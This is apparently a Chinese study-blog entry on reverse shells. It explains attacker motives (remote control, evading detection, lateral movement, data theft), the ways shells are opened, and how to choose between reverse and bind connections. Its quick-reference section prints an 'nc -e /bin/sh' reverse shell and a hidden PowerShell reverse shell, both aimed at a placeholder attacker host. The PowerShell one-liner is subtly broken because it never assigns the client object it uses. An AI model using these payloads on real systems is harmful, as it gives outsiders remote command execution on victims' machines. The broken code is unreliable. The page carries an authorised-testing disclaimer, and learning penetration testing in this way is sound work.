LoCreics Space

Day009_反弹shell

4 min read

反弹 Shell — 前提与目的

前提条件

  • 已知存在能够执行命令或注入的漏洞点（可触发命令执行或上传可执行文件）。

为什么要反弹 Shell？

  1. 远程控制：通过反弹 Shell，攻击者可在目标系统上远程执行命令并获得持续控制能力。
  2. 隐藏攻击痕迹：反弹可避免攻击者直接与目标建立入站连接，降低被检测与追踪风险。
  3. 横向渗透：取得目标访问权后，可向内网其他主机横向移动。
  4. 数据盗取与破坏：可读取敏感数据、下载/删除文件或修改系统配置。

反弹 Shell — 在线生成与资源

命令类别与实现途径

  1. 开发语言：利用系统安装的语言运行环境（如 Python、Perl、Ruby、Java、Node.js 等）执行反弹代码。
  2. 系统自带命令：使用操作系统自带工具（如 nc、bash、powershell）直接建立通道。
  3. 第三方项目/工具：先下载远程可执行文件或脚本，再调用执行（如使用 curl/wget 下载后执行）。
  4. 连接类别：
    • Reverse（反向）：目标主动连接攻击者监听端（常用于目标允许出站）。
    • Bind（绑定）：目标在本地监听端口，攻击者连接该端口（适用于目标允许入站）。

实验环境与平台差异

  • 常见实验组合：Windows ↔ Linux（互为攻击机/靶机）
  • 平台差异要点：
    • Windows：PowerShell、certutil、bitsadmin、Invoke-WebRequest 等常用于反弹或下载执行。
    • Linux：nc（ncat）、bash -i、python -c、socat、perl 等常见反弹方式。

常见反弹示例（速查）

注意：示例仅用于授权测试环境内研究与学习，不得用于未授权目标。

Linux（nc 反连）

# 攻击者监听：
nc -lvnp 7777
# 目标发起反连：
nc -e /bin/sh ATTACKER_IP 7777

Windows（PowerShell 反连）

# 攻击者监听（使用 nc for Windows）：
nc -lvnp 4444
# 目标 PowerShell 发起反连：
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("ATTACKER_IP",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}

反弹策略选择（决策树）

  1. 能出站但入站受限 → 选择 反向连接（Reverse）。
  2. 入站可达但出站受限 → 选择 Bind（绑定）/正向连接。
  3. 双向受限 → 优先考虑 带外通道（DNS/ICMP）、隧道或借助第三方中继（如跳板/代理）。

相关工具与学习资源

总结与建议

  • 平台优先策略：Windows 优先 PowerShell；Linux 优先 nc/python/socat。
  • 安全与合规：所有反弹与渗透测试必须在获得授权的环境中进行，并记录测试范围与活动以便溯源。
  • 后续学习方向：学习隧道技术（DNS/ICMP/HTTP 隧道）、多层代理链、内网横向移动与持久化技术。

Graph View